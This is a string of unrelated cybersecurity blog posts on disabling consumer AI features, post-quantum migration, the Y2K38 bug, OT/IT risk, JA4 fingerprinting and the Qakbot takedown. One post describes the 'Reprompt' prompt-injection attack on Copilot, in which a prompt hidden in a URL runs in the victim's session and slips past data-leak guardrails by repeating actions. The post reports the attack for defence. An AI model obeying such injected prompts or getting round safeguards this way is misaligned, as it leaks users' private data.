The simplest thing you can do is just uninstall the app entirely. Right-click the Copilot entry in the Start menu and select Uninstall. If that option isn’t there, head over to your installed apps list (Start → Settings → Apps) and uninstall Copilot from there.
In certain builds of Windows 11, Copilot is baked directly into the OS, so a simple uninstall might not work. In that case, you can toggle it off via the settings: Start → Settings → Personalization → Taskbar→ turn off Copilot.
If you ever have a change of heart, you can always reinstall Copilot from the Microsoft Store.
It’s worth noting that many users have complained about Copilot automatically reinstalling itself, so you might want to do a weekly check for a couple of months to make sure it hasn’t staged a comeback. For those who are comfortable tinkering with the System Registry (and understand the consequences), you can follow this detailed guide to prevent Copilot’s silent resurrection by disabling the SilentInstalledAppsEnabled flag and adding/enabling the TurnOffWindowsCopilot parameter.
How to disable Microsoft Recall
The Microsoft Recall feature, first introduced in 2024, works by constantly taking screenshots of your computer screen and having a neural network analyze them. All that extracted information is dumped into a database, which you can then search using an AI assistant. We’ve previously written in detail about the massive security risks Microsoft Recall poses.
Under pressure from cybersecurity experts, Microsoft was forced to push the launch of this feature from 2024 to 2025, significantly beefing up the protection of the stored data. However, the core of Recall remains the same: your computer still remembers your every move by constantly snapping screenshots and OCR-ing the content. And while the feature is no longer enabled by default, it’s absolutely worth checking to make sure it hasn’t been activated on your machine.
To check, head to the settings: Start → Settings → Privacy & Security →Recall & snapshots. Ensure the Save snapshots toggle is turned off, and click Delete snapshots to wipe any previously collected data, just in case.
How to disable AI in Notepad and Windows context actions
AI has seeped into every corner of Windows, even into File Explorer and Notepad. You might even trigger AI features just by accidentally highlighting text in an app — a feature Microsoft calls “AI Actions”. To shut this down, head to Start → Settings → Privacy & Security → Click to Do.
Notepad has received its own special Copilot treatment, so you’ll need to disable AI there separately. Open the Notepad settings, find the AI features section, and toggle Copilot off.
Finally, Microsoft has even managed to bake Copilot into Paint. Unfortunately, as of right now, there is no official way to disable the AI features within the Paint app itself.
How to disable AI in WhatsApp
In several regions, WhatsApp users have started seeing typical AI additions like suggested replies, AI message summaries, and a brand-new Chat with Meta AI button. While Meta claims the first two features process data locally on your device and don’t ship your chats off to their servers, verifying that is no small feat. Luckily, turning them off is straightforward.
To disable Suggested Replies, go to Settings → Chats → Suggestions & smart replies and toggle off Suggested replies. You can also kill off AI Sticker suggestions in that same menu. As for the AI message summaries, those are managed in a different location: Settings → Notifications → AI message summaries.
How to disable AI on Android
Given the sheer variety of manufacturers and Android flavors, there’s no one-size-fits-all instruction manual for every single phone. Today, we’ll focus on killing off Google’s AI services — but if you’re using a device from Samsung, Xiaomi, or others, don’t forget to check your specific manufacturer’s AI settings. Just a heads-up: fully scrubbing every trace of AI might be a tall order — if it’s even possible at all.
In Google Messages, the AI features are tucked away in the settings: tap your account picture, select Messages settings, then Gemini in Messages, and toggle the assistant off.
Broadly speaking, the Gemini chatbot is a standalone app that you can uninstall by heading to your phone’s settings and selecting Apps. However, given Google’s master plan to replace the long-standing Google Assistant with Gemini, uninstalling it might become difficult — or even impossible — down the road.
If you can’t completely uninstall Gemini, head into the app to kill its features manually. Tap your profile icon, select Gemini Apps activity, and then choose Turn off or Turn off and delete activity. Next, tap the profile icon again and go to the Connected Apps setting (it may be hiding under the Personal Intelligence setting). From here, you should disable all the apps where you don’t want Gemini poking its nose in.
Apple’s platform-level AI features, collectively known as Apple Intelligence, are refreshingly straightforward to disable. In your settings — on desktops, smartphones, and tablets alike — simply look for the section labeled Apple Intelligence & Siri. By the way, depending on your region and the language you’ve selected for your OS and Siri, Apple Intelligence might not even be available to you yet.
Other posts to help you tune the AI tools on your devices:
Russia's current isolation from the Olympics may lead to increased cyberthreats targeting the 2026 Winter Games. We discuss the potential threat picture.
Accelerating the Migration to the Post-Quantum Era
The promise of quantum computing brings an unprecedented paradox. While it will unlock revolutionary breakthroughs in science, materials discovery and medicine, it simultaneously poses an existential threat to the mathematical foundations of modern cybersecurity.
For decades, the global economy has relied on public key cryptography to safeguard everything from personal privacy to national security. This cryptography is built on mathematical problems that are computationally infeasible for classical computers to solve but that quantum computers can solve efficiently, rendering today’s cryptographic protocols obsolete.
Using Shor’s algorithm, a sufficiently powerful quantum computer could factor the large prime numbers that underpin public key cryptography, in minutes. These are tasks that would take today’s most advanced supercomputers a millennium to crack. This capability would effectively turn our strongest digital defenses into open doors, creating a period of vulnerability leading up to Q-Day – the day today’s encryption is broken.
The Migration Crisis: Why Traditional Strategies Fail
For CISOs and technical leaders, the transition to post-quantum cryptography (PQC) is not a simple patch-and-deploy exercise. It is a multiyear transformation that requires updating cryptography across every device, application, certificate and infrastructure component in the enterprise.
Most enterprises today are constrained by cryptographic debt – years of accumulated, undocumented and deprecated encryption protocols buried deep within legacy applications, third-party software libraries and unmanaged IoT devices. This creates a vast and largely invisible attack surface that traditional vulnerability scanners were never designed to detect.
The challenge is compounded by the absence of a unified source of truth. Existing tools offer a fragmented "outside-in" view of the environment. They may identify devices on the network, but they lack visibility into cryptographic libraries embedded within live traffic. Without a real-time Cryptographic Bill of Materials (CBOM), security teams are forced to rely on manual, point-in-time audits that become outdated almost immediately. Spreadsheets cannot scale to this problem.
This visibility gap makes it impossible to prioritize remediation, leaving sensitive data exposed to harvest now, decrypt later (HNDL) attacks. In these attacks, adversaries intercept and store encrypted data today with the intent of unlocking it once quantum computing capabilities mature.
Operationally, traditional migration approaches are equally unworthy. Manually updating cryptography across thousands of global endpoints and branch offices often requires disruptive rip and replace strategies that threaten uptime and demand specialized expertise that is in extremely short supply. Organizations need a way to bridge today’s classical infrastructure with a quantum-resilient future without disrupting business operations or exhausting IT resources.
At Palo Alto Networks, we believe global enterprises cannot afford to wait. Our new Quantum-Safe Security solution is designed to remove these operational roadblocks by making cryptographic discovery, risk assessment and transition both continuous and actionable. We empower enterprises to gain real-time visibility into cryptographic risk and begin building agentic resilience at enterprise scale by integrating with existing security and infrastructure systems, including security information and event management (SIEM), load balancers, endpoint detection and response (EDR), as well as Application Vulnerability Management (AVM) tools.
The Four Stages of Cryptographic Inventory & Remediation
Palo Alto Networks Quantum-Safe Security is built around four foundational stages.
1. Continuous Discovery through Ecosystem Ingestion
Visibility is the first line of defense, but in a complex enterprise, true visibility requires more than a periodic scan. It requires continuous, high-fidelity ingestion of cryptographic intelligence across the environment.
Our solution acts as a central nervous system for your cryptographic posture, ingesting telemetry and logs directly from PAN-OS NGFW and Prisma® Access, enriched with data from a broad ecosystem of third-party security solutions, simplifying Day 0 onboarding. By leveraging your existing network infrastructure as sensors, we provide a comprehensive view of the cryptographic behavior of all assets without the operational friction of deploying new software.
To eliminate blind spots, we go beyond our own telemetry to ingest critical information from your existing systems you rely on. This includes syncing with configuration management database (CMDB) and asset management platforms to align cryptographic data with business inventories, integrating with EDR and access control solutions to monitor endpoint behavior, and aggregating data from network clouds and log platforms. The result is a unified intelligence layer that reflects how cryptography is actually used across the enterprise.
By synthesizing these data streams, we deliver a multidimensional view of cryptographic exposure:
Discovery – Identification of every application, user device, infrastructure component and IoT device.
Behavior – Analysis of traffic metadata, including protocols, key exchangemechanisms, encryption algorithms, hashes, certificates and tunnels.
Context – Precise attribution of hardware models, cryptographic libraries (such as deprecated OpenSSL versions), and browser versions in use.
2. Risk Assessment & Prioritization
Not all data is created equal, and a successful migration requires a surgical focus on where the exposure is most acute. Our Quantum Safe Security solution quantifies risk by correlating cryptographic strength with business criticality, providing a clear, prioritized view of current risk and where remediation matters most.
Assets are categorized into strategic zones, starting with immediate exposure risks caused by deprecated protocols that are vulnerable to classical exploitation today. From there, the solution addresses long-term harvest now, decrypt later threats. As threat models evolve, the risk engine is designed to expand to emerging vectors like identity and authentication integrity, anticipating risks such as “Trust Now, Forge Later" attacks that could undermine digital trust at scale.
At the same time, the solution validates and tracks quantum-secure assets that have successfully transitioned to post-quantum or hybrid-PQC algorithms. By correlating this intelligence with business criticality and data shelf-life, security leaders can make informed decisions. For example, a crown jewel asset containing data that must remain confidential for a decade or more, is flagged as a high HNDL risk today and elevated to the top of the migration queue.
3. Comprehensive Remediation
Moving from a vulnerable state to quantum resilience is a structured journey. Our comprehensive remediation framework guides organizations through three critical stages, supported by automated workflows and prioritized recommendations at every step.
Current State to Quantum Ready: The first stage focuses on infrastructure modernization. Usingcontinuous discovery insights, the solution provides hardware and software recommendations required to support next-generation cryptographic protocols. An asset reaches a Quantum Ready state once it has the underlying hardware and OS capabilities to support post-quantum algorithms, even if those protocols are not yet activated.
Quantum Ready to Quantum-Safe: Transitioning to a Quantum-safe state requires activation and configuration of post-quantum defenses. Our solution provides data configuration and certificate compliance guidance to enable PQC/Hybrid-PQC algorithms to be correctly implemented across the estate.
Virtual Patching via Cipher Translation: For all current and especially legacy systems or IoT devices that cannot be upgraded, we provide an accelerated path to quantum-safety. Through Cipher Translation, the infrastructure acts as a proxy, providing agentic remediation that reencrypts vulnerable traffic into quantum-safe standards (such as ML-KEM) in real-time at the network edge. This approach instantly moves legacy assets from a high-risk current state to a Quantum-safe posture without a single line of code change.
4. Governance: Continuous Crypto-Hygiene & Global Compliance
Quantum readiness is not a one-time event; it is a strategic enterprise transformation that requires continuous oversight to prevent the re-emergence of vulnerabilities. Our governance framework provides the guardrails for your migration through two critical layers of management:
Continuous Crypto-Hygiene & Ongoing Management: Maintaining high-fidelity visibility is essential to preventing the accumulation of "crypto-debt." Our solution automates real-time mapping of all cryptographic dependencies, ensuring your CBOM remains dynamic and accurate as your environment evolves. Furthermore, we introduce Active Drift Detection, which automatically detects and can even block the use of weak or noncompliant ciphers in real-time, preventing developers or third-party services from accidentally introducing insecure protocols.
Global Crypto-Compliance Enforcement & Reporting: As regulatory pressure from governments (like the US Commercial National Security Algorithm Suite 2.0) mounts, organizations must demonstrate measurable progress. Our solution will provide Automated Framework Auditing, offering continuous, native mapping of your environment against global standards, including NIST, FIPS 140-3, and DORA.
Architecting a Quantum-Resilient Enterprise
The transition to quantum-safe security is far more than a technical upgrade. It represents a fundamental shift in how organizations protect the longevity and integrity of their digital assets. Achieving quantum resilience is a multiyear effort that requires both advanced technology and strategic partnership.
That's why Palo Alto Networks has established Integrated Quantum Practices, bringing together technology, partners and professional services to help organizations navigate the complexity of this transition with confidence. By combining deep cryptographic visibility with intelligent, agentic remediation, organizations can systematically retire their cryptographic debt and build resilience into their security architecture over time.
This proactive approach does more than mitigate emerging risk. It establishes a foundation of digital trust that is resilient against the threats of tomorrow, enabling your most sensitive intellectual property to remain secure for its entire shelf life, even as cryptographic standards evolve.
Secure Your First-Mover Advantage: The Quantum Readiness Assessment
Don’t let the complexity of the quantum transition stall your organization’s progress. Begin your path to resilience with a Quantum Readiness Assessment, a focused engagement to clarify current exposure and identify the most critical areas for action. To go deeper, watch the Quantum-Safe Summit on demand for expert perspectives on cryptographic risk and quantum readiness.
The Palo Alto Networks Quantum-Safe Security solution is expected to be generally available to customers on January 30, 2026, with additional integration enhancements planned for April 2026.
Forward-Looking Statements
This blog contains forward-looking statements that involve risks, uncertainties and assumptions, including, without limitation, statements regarding the benefits, impact or performance or potential benefits, impact or performance of our products and technologies or future products and technologies. These forward-looking statements are not guarantees of future performance, and there are a significant number of factors that could cause actual results to differ materially from statements made in this [blog. We identify certain important risks and uncertainties that could affect our results and performance in our most recent Annual Report on Form 10-K, our most recent Quarterly Report on Form 10-Q, and our other filings with the U.S. Securities and Exchange Commission from time-to-time, each of which are available on our website at investors.paloaltonetworks.com and on the SEC's website at www.sec.gov. All forward-looking statements in this blog are based on information available to us as of the date hereof, and we do not assume any obligation to update the forward-looking statements provided to reflect events that occur or circumstances that exist after the date on which they were made.
Millions of IT systems — some of them industrial and IoT — may start behaving unpredictably on January 19. Potential failures include: glitches in processing card payments; false alarms from security systems; incorrect operation of medical equipment; failures in automated lighting, heating, and water supply systems; and many more or less serious types of errors. The catch is — it will happen on January 19, 2038. Not that that’s a reason to relax — the time left to prepare may already be insufficient. The cause of this mass of problems will be an overflow in the integers storing date and time. While the root cause of the error is simple and clear, fixing it will require extensive and systematic efforts on every level — from governments and international bodies and down to organizations and private individuals.
The unwritten standard of the Unix epoch
The Unix epoch is the timekeeping system adopted by Unix operating systems, which became popular across the entire IT industry. It counts the seconds from 00:00:00 UTC on January 1, 1970, which is considered the zero point. Any given moment in time is represented as the number of seconds that have passed since that date. For dates before 1970, negative values are used. This approach was chosen by Unix developers for its simplicity — instead of storing the year, month, day, and time separately, only a single number is needed. This facilitates operations like sorting or calculating the interval between dates. Today, the Unix epoch is used far beyond Unix systems: in databases, programming languages, network protocols, and in smartphones running iOS and Android.
The Y2K38 time bomb
Initially, when Unix was developed, a decision was made to store time as a 32-bit signed integer. This allowed for representing a date range from roughly 1901 to 2038. The problem is that on January 19, 2038, at 03:14:07 UTC, this number will reach its maximum value (2,147,483,647 seconds) and overflow, becoming negative, and causing computers to “teleport” from January 2038 back to December 13, 1901. In some cases, however, shorter “time travel” might happen — to point zero, which is the year 1970.
This event, known as the “year 2038 problem”, “Epochalypse”, or “Y2K38”, could lead to failures in systems that still use 32-bit time representation — from POS terminals, embedded systems, and routers, to automobiles and industrial equipment. Modern systems solve this problem by using 64 bits to store time. This extends the date range to hundreds of billions of years into the future. However, millions of devices with 32-bit dates are still in operation, and will require updating or replacement before “day Y” arrives.
In this context, 32 and 64 bits refer specifically to the date storage format. Just because an operating system or processor is 32-bit or 64-bit, it doesn’t automatically mean it stores the date in its “native” bit format. Furthermore, many applications store dates in completely different ways, and might be immune to the Y2K38 problem, regardless of their bitness.
In cases where there’s no need to handle dates before 1970, the date is stored as an unsigned 32-bit integer. This type of number can represent dates from 1970 to 2106, so the problem will arrive in the more distant future.
Differences from the year 2000 problem
The infamous year 2000 problem (Y2K) from the late 20th century was similar in that systems storing the year as two digits could mistake the new date for the year 1900. Both experts and the media feared a digital apocalypse, but in the end there were just numerous isolated manifestations that didn’t lead to global catastrophic failures.
The key difference between Y2K38 and Y2K is the scale of digitization in our lives. The number of systems that will need updating is way higher than the number of computers in the 20th century, and the count of daily tasks and processes managed by computers is beyond calculation. Meanwhile, the Y2K38 problem has already been, or will soon be, fixed in regular computers and operating systems with simple software updates. However, the microcomputers that manage air conditioners, elevators, pumps, door locks, and factory assembly lines could very well chug along for the next decade with outdated, Y2K38-vulnerable software versions.
Potential problems of the Epochalypse
The date’s rolling over to 1901 or 1970 will impact different systems in different ways. In some cases, like a lighting system programmed to turn on every day at 7pm, it might go completely unnoticed. In other systems that rely on complete and accurate timestamps, a full failure could occur — for example, in the year 2000, payment terminals and public transport turnstiles stopped working. Comical cases are also possible, like issuing a birth certificate with a date in 1901. Far worse would be the failure of critical systems, such as a complete shutdown of a heating system, or the failure of a bone marrow analysis system in a hospital.
Cryptography holds a special place in the Epochalypse. Another crucial difference between 2038 and 2000 is the ubiquitous use of encryption and digital signatures to protect all communications. Security certificates generally fail verification if the device’s date is incorrect. This means a vulnerable device would be cut off from most communications — even if its core business applications don’t have any code that incorrectly handles the date.
Unfortunately, the full spectrum of consequences can only be determined through controlled testing of all systems, with separate analysis of a potential cascade of failures.
The malicious exploitation of Y2K38
IT and InfoSec teams should treat Y2K38 not as a simple software bug, but as a vulnerability that can lead to various failures, including denial of service. In some cases, it can even be exploited by malicious actors. To do this, they need the ability to manipulate the time on the targeted system. This is possible in at least two scenarios:
Interfering with NTP protocol data by feeding the attacked system a fake time server
Spoofing the GPS signal — if the system relies on satellite time
Exploitation of this error is most likely in OT and IoT systems, where vulnerabilities are traditionally slow to be patched, and the consequences of a failure can be far more substantial.
An example of an easily exploitable vulnerability related to time counting is CVE-2025-55068 (CVSSv3 8.2, CVSSv4 base 8.8) in Dover ProGauge MagLink LX4 automatic fuel-tank gauge consoles. Time manipulation can cause a denial of service at the gas station, and block access to the device’s web management panel. This defect earned its own CISA advisory.
The current status of Y2K38 mitigation
The foundation for solving the Y2K38 problem has been successfully laid in major operating systems. The Linux kernel added support for 64-bit time even on 32-bit architectures starting with version 5.6 in 2020, and 64-bit Linux was always protected from this issue. The BSD family, macOS, and iOS use 64-bit time on all modern devices. All versions of Windows released in the 21st century aren’t susceptible to Y2K38.
The situation at the data storage and application level is far more complex. Modern file systems like ZFS, F2FS, NTFS, and ReFS were designed with 64-bit timestamps, while older systems like ext2 and ext3 remain vulnerable. Ext4 and XFS require specific flags to be enabled (extended inode for ext4, and bigtime for XFS), and might need offline conversion of existing filesystems. In the NFSv2 and NFSv3 protocols, the outdated time storage format persists. It’s a similar patchwork landscape in databases: the TIMESTAMP type in MySQL is fundamentally limited to the year 2038, and requires migration to DATETIME, while the standard timestamp types in PostgreSQL are safe. For applications written in C, pathways have been created to use 64-bit time on 32-bit architectures, but all projects require recompilation. Languages like Java, Python, and Go typically use types that avoid the overflow, but the safety of compiled projects depends on whether they interact with vulnerable libraries written in C.
A massive number of 32-bit systems, embedded devices, and applications remain vulnerable until they’re rebuilt and tested, and then have updates installed by all their users.
Various organizations and enthusiasts are trying to systematize information on this, but their efforts are fragmented. Consequently, there’s no “common Y2K38 vulnerability database” out there (1, 2, 3, 4, 5).
Approaches to fixing Y2K38
The methodologies created for prioritizing and fixing vulnerabilities are directly applicable to the year 2038 problem. The key challenge will be that no tool today can create an exhaustive list of vulnerable software and hardware. Therefore, it’s essential to update inventory of corporate IT assets, ensure that inventory is enriched with detailed information on firmware and installed software, and then systematically investigate the vulnerability question.
The list can be prioritized based on the criticality of business systems and the data on the technology stack each system is built on. The next steps are: studying the vendor’s support portal, making direct inquiries to hardware and software manufacturers about their Y2K38 status, and, as a last resort, verification through testing.
When testing corporate systems, it’s critical to take special precautions:
Never test production systems.
Create a data backup immediately before the test.
Isolate the system being tested from communications so it can’t confuse other systems in the organization.
If changing the date uses NTP or GPS, ensure the 2038 test signals cannot reach other systems.
After testing, set the systems back to the correct time, and thoroughly document all observed system behaviors.
If a system is found to be vulnerable to Y2K38, a fixing timeline should be requested from the vendor. If a fix is impossible, plan a migration; fortunately, the time we have left still allows for updating even fairly complex and expensive systems.
The most important thing in tackling Y2K38 is not to think of it as a distant future problem whose solution can easily wait another five to eight years. It’s highly likely that we already have insufficient time to completely eradicate the defect. However, within an organization and its technology fleet, careful planning and a systematic approach to solving the problem will allow to actually make it in time.
Researchers found a method to steal data which bypasses Microsoft Copilot’s built-in safety mechanisms.
The attack flow, called Reprompt, abuses how Microsoft Copilot handled URL parameters in order to hijack a user’s existing Copilot Personal session.
Copilot is an AI assistant which connects to a personal account and is integrated into Windows, the Edge browser, and various consumer applications.
The issue was fixed in Microsoft’s January Patch Tuesday update, and there is no evidence of in‑the‑wild exploitation so far. Still, it once again shows how risky it can be to trust AI assistants at this point in time.
Reprompt hides a malicious prompt in the q parameter of an otherwise legitimate Copilot URL. When the page loads, Copilot auto‑executes that prompt, allowing an attacker to run actions in the victim’s authenticated session after just a single click on a phishing link.
In other words, attackers can hide secret instructions inside the web address of a Copilot link, in a place most users never look. Copilot then runs those hidden instructions as if the users had typed them themselves.
Because Copilot accepts prompts via a q URL parameter and executes them automatically, a phishing email can lure a user into clicking a legitimate-looking Copilot link while silently injecting attacker-controlled instructions into a live Copilot session.
What makes Reprompt stand out from other, similar prompt injection attacks is that it requires no user-entered prompts, no installed plugins, and no enabled connectors.
The basis of the Reprompt attack is amazingly simple. Although Copilot enforces safeguards to prevent direct data leaks, these protections only apply to the initial request. The attackers were able to bypass these guardrails by simply instructing Copilot to repeat each action twice.
Working from there, the researchers noted:
“Once the first prompt is executed, the attacker’s server issues follow‑up instructions based on prior responses and forms an ongoing chain of requests. This approach hides the real intent from both the user and client-side monitoring tools, making detection extremely difficult.”
How to stay safe
You can stay safe from the Reprompt attack specifically by installing the January 2026 Patch Tuesday updates.
If available, use Microsoft 365 Copilot for work data, as it benefits from Purview auditing, tenant‑level data loss prevention (DLP), and admin restrictions that were not available to Copilot Personal in the research case. DLP rules look for sensitive data such as credit card numbers, ID numbers, health data, and can block, warn, or log when someone tries to send or store it in risky ways (email, OneDrive, Teams, Power Platform connectors, and more).
Don’t click on unsolicited links before verifying with the (trusted) source whether they are safe.
Reportedly, Microsoft is testing a new policy that allows IT administrators to uninstall the AI-powered Copilot digital assistant on managed devices.
Malwarebytes users can disable Copilot for their personal machines under Tools > Privacy, where you can toggle Disable Windows Copilot to on (blue).
In general, be aware that using AI assistants still pose privacy risks. As long as there are ways for assistants to automatically ingest untrusted input—such as URL parameters, page text, metadata, and comments—and merge it into hidden system prompts or instructions without strong separation or filtering, users remain at risk of leaking private information.
So when using any AI assistant that can be driven via links, browser automation, or external content, it is reasonable to assume “Reprompt‑style” issues are at least possible and should be taken into consideration.
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The intersection and evolution of operational technology (OT) and information technology (IT), as well as the cybersecurity risks associated with both are becoming increasingly critical business challenges for organisations of all sizes, across all geographies.
As digital transformation expands into OT environments, convergence with IT systems is inevitable. This convergence may generate exciting business opportunities, such as creating new sources of income and improving business outcomes, but it also presents new cybersecurity risks and complexities, for which many industry leaders are not prepared.
Why Is OT/IT Convergence So Complex?
There are many overlapping forces driving the OT and IT worlds together, creating a hairball of complexity from varying sources:
People: OT and IT communities are historically different in many ways (technological, operational, regulatory and culturally) and have different priorities and focuses.
Technology: The age of technology in OT environments means that legacy equipment and machinery are often incompatible with the latest IT software, increasing their vulnerability to cyberthreats.
Mindsets: Historically, ‘secure by design’ has not been a focus in OT. System uptime and employee safety have traditionally been prioritised over cybersecurity in OT environments, unlike IT where cybersecurity is ingrained.
Understanding the Risk and Impact
OT/IT cybersecurity is a strategic issue, not just a technical requirement, and it must be designed into systems as early as possible. The consequences of not acting from the start far outweigh any advantages gained by disregarding the issue.
This is particularly true for critical infrastructure, such as water purification systems, power grids, air traffic control systems, communications networks and battlefield command-and-control systems, all of which are open to potential cybersecurity risk. Always assume that your adversaries are willing to exploit your Achilles heel when it comes to securing OT/IT systems.
Key Attention Areas in OT/IT Convergence
All senior business leaders should consider the following areas with OT/IT convergence and cybersecurity:
Mindset: Industry leaders need the right mindset to balance cybersecurity best practices with a seemingly endless number of new devices and data sources caused by OT/IT convergence.
Technology: Technologies, such as artificial intelligence, machine learning and cloud computing, represent both opportunities and threats in the world of OT/IT cybersecurity. Modern technology systems must be built with tomorrow’s security risks in mind.
Compliance: The NIS Directive and its follow-on NIS2 Directive outline the responsibility for organisations to take reasonable steps toward a solid cybersecurity posture. This applies to the increasingly digital OT world because of the classification of many OT systems as a critical infrastructure.
Teams: Organisations need to recognise and confront the cultural silo separating OT and IT teams in order to reduce complexity, promote collaboration and achieve a reliable, frictionless state of OT/IT cybersecurity.
The cloud, data and device proliferation: When digital OT systems are infected, the attacks easily and quickly move laterally over a mesh of intersecting networks, carrying ‘digital germs’ with them. The risk here is high, particularly with the huge proliferation of devices and data from converged workloads in the cloud.
The future: There is a growing urgency from business stakeholders to make OT systems more digitally driven to ensure agility and efficiency. Boards that are now prioritising OT/IT cybersecurity are making a strong statement about the business implications to this strategy.
Next Steps
To help you understand and prepare for the cybersecurity risks inherent at the intersection of OT and IT, we have captured insights and recommendations from forward-thinking industry experts in a new guide: Executive Edge: Peer Insights - Complexity at the intersection of IT and OT.
This Peer Insights guide for C-suite executives explores how to streamline security, reduce complexity, and anticipate threats across the IT/OT environment, ultimately helping you drive change within your organisation.
In my journey to explore how I can use artificial intelligence to assist in penetration testing, I experimented with a security-focused chat bot created by Jason Haddix called Arcanum Cyber Security Bot (available on https://chatgpt.com/gpts). Jason engineered this bot to leverage up-to-date technical information related to application security and penetration testing.
For those of us in cybersecurity, there are a lot of unanswered questions and associated concerns about integrating AI into these various products. No small part of our worries has to do with the fact that this is new technology, and new tech always brings with it new security issues, especially technology that is evolving as quickly as AI.
A common use case for LLMs is rapid software development. One of the first ways I used AI in my penetration testing methodology was for payload generation.
This blog will cover how to root an AVD emulator and a physical Pixel 6. But before we cover those topics, let's cover what it is we will be doing and some of the pro/cons of rooting an Android phone.
VirusTotal has incorporated a powerful new tool to fight against
malware: JA4 client fingerprinting. This feature allows
security researchers to track and identify malicious files based
on the unique characteristics of their TLS client communications.
JA4: A More Robust Successor to JA3
JA4,
developed by
FoxIO, represents a significant
advancement over the older JA3 fingerprinting method. JA3's
effectiveness had been hampered by the increasing use of TLS
extension randomization in https clients, which made
fingerprints
less consistent. JA4 was specifically designed to be
resilient to this randomization, resulting in more stable and
reliable fingerprints.
Unveiling the Secrets of the Client
Hello
JA4 fingerprinting focuses on
analyzing the
TLS Client Hello packet, which is sent unencrypted from
the client to the server at the start of a TLS connection.
This packet contains a treasure trove of information that can
uniquely identify the client application or its underlying
TLS library. Some of the key elements extracted by JA4
include:
TLS
Version: The version of TLS supported by the
client.
Cipher
Suites: The list of cryptographic algorithms the client can
use.
TLS
Extensions: Additional features and capabilities supported
by the client.
ALPN
(Application-Layer Protocol Negotiation): The
application-level protocol, such as HTTP/2 or HTTP/3, that
the client wants to use after the TLS
handshake.
JA4 in Action: Pivoting and Hunting on
VirusTotal
VirusTotal has integrated JA4
fingerprinting into its platform through the behavior_networkfile
search modifier. This allows analysts to quickly
discover relationships between files based on their JA4
fingerprints.
To find the JA4 value, navigate to the "behavior" section of
the desired sample and locate the TLS subsection. In addition
to JA4, you might also find JA3 or JA3S there.
Example Search: Let's say you've encountered a suspicious
file that exhibits the JA4 fingerprint
"t10d070600_c50f5591e341_1a3805c3aa63" during VirusTotal's
behavioral analysis.
You can click on this JA4 to pivot using the
search query
behavior_network:t10d070600_c50f5591e341_1a3805c3aa63
finding other files with the same fingerprint This search
will pivot you to additional samples that share the same JA4
fingerprint, suggesting they might be related. This could
indicate that these files are part of the same malware family
or share a common developer or simply share a common TLS
library.
Returns files that match the
JA4_A and JA4_C components of the JA4 hash while allowing
for variations in the middle section, which often corresponds
to the cipher suite. This technique is useful for identifying
files that might use different ciphers but share other JA4
characteristics.
YARA hunting rules using the
"vt" module can be written to
automatically detect files based on their JA4 fingerprints.
Here's an example of a YARA rule that targets a specific JA4
fingerprint:
This rules will flag any file submitted to VirusTotal that
exhibits the matching JA4 fingerprint. The first example only
matches "t12d190800_d83cc789557e_7af1ed941c26" during
behavioral analysis. The second rule will match a regular
expression /t10d070600_.*_1a3805c3aa63/, only matching JA4_A
and JA4_C components, excluding the JA4_B cipher suite. These
fingerprints could be linked to known malware, a suspicious
application, or any TLS client behavior that is considered
risky by security analysts.
VirusTotal's adoption
of JA4 client fingerprinting will provide users with an
invaluable tool for dissecting and tracking TLS client
behaviors, leading to enhanced threat hunting, pivoting, and
more robust malware identification.
Qakbot Takedown: A Brief Victory in the Fight Against Resilient Malware
Prior botnet takedowns like Emotet and TrickBot have shown that sophisticated malware operations, like Qakbot, can often rebuild infrastructure and return from disruptions in new forms
Qakbot, familiarly Qbot, has been a major cyber threat since 2007, infecting victims’ computers to steal financial information and distribute additional malware payloads like ransomware. As a result of the takedown, more than 700,000 infected devices worldwide were identified and cleaned of the malware. The DOJ also announced the seizure of $8.6M in cryptocurrency in illicit profits.
While there is no doubt that the Qakbot takedown is a major win in the fight against cybercrime, it may only provide short-term relief in the fight against a notoriously resilient cybercriminal ecosystem.
‘Swiss Army knife’
A Swiss Army knife of cybercrime tools, Qakbot was a complex malware that opened remote access to victims’ systems, stole credentials and financial information, and downloaded additional malware payloads. Its modular architecture enabled frequent updates to add new capabilities over its 15+ years of operation.
“The collaborative endeavors of these authoritative bodies exemplify the power of a comprehensive, multi-agency approach, designed to maximize its impact..”
Ian Gray, VP Of Intelligence
Qakbot has been a versatile workhorse for cybercriminals. Its banking trojan functionality has been used to pilfer payment information and intercept financial transactions. As a loader, it distributed ransomware such as ProLock to extort victims.
Qakbot has also powered large-scale spam email campaigns and brute force attacks. Its worm-like spreading kept it entrenched in infected networks. By providing the backdoor access and distribution channel for other malware, Qakbot played a key supporting role in the cybercrime ecosystem. Botnets like Emotet and TrickBot operated similarly, loading additional threats onto compromised systems. These jack-of-all-trades botnets have proven lucrative for their criminal operators.
A history of temporary relief
Prior botnet takedowns like Emotet and TrickBot have shown that sophisticated malware operations can often rebuild infrastructure and return from disruptions in new forms.
In the case of Emotet, the botnet came back online in 2022 using new techniques after its infrastructure was dismantled in 2021. TrickBot also persisted despite takedown attempts and remains an active threat. This resiliency highlights the challenges law enforcement faces in permanently eliminating cyber threats.
While takedowns temporarily degrade capabilities, dedicated cybercriminal groups adapt to avoid further disruption. New malware families also inevitably emerge to fill the gaps left by larger takedowns. For example, BazarLoader and ZLoader rose to prominence as loader malware after the Emotet takedown.
Yet despite their disruptions, resilient botnets often return and new ones emerge. After prior actions against Emotet and TrickBot, the lingering demand in underground markets brought them back in adapted new forms. Bots remain attractive tools for cybercriminals thanks to their versatility, automation, and money generating potential.
While Qakbot’s infrastructure was disrupted, its operators may attempt to rebuild or evolve their techniques. Sustained pressure on botnet financial flows, developer communities, and other aspects of the cybercrime supply chain is needed to deter future attacks. For now, the coordinated Qakbot takedown bought time and degraded the capabilities of a dominant cybercrime player.
The fight against cybercrime must be persistent and comprehensive
The Qakbot takedown was effectively coordinated among global governments, including France, Germany, Latvia, Romania, the Netherlands, the UK, and the US, as well as the private sector. The collaborative endeavors of these authoritative bodies exemplify the power of a comprehensive, multi-agency approach, designed to maximize its impact.
Law enforcement and the private sector should to continue coordinating takedowns while also focusing on detecting new malware variants early, disrupting communication channels, and following the money trails of criminal enterprises.
Cyber hygiene and threat awareness across organizations must also improve to reduce vulnerability to malware infections, including loaders and trojans that distribute threats like Qakbot. Technical controls like endpoint detection, network monitoring, and patching are also key.
Ultimately, defeating cybercrime requires comprehensive strategy across law enforcement operations, cybersecurity practices, and international collaboration. The Qakbot takedown represents meaningful progress, but the world must remain vigilant against an adaptable threat landscape.
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Today, Talos is publishing a glimpse into the most prevalent threats we've observed between March 19 and March 26. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.
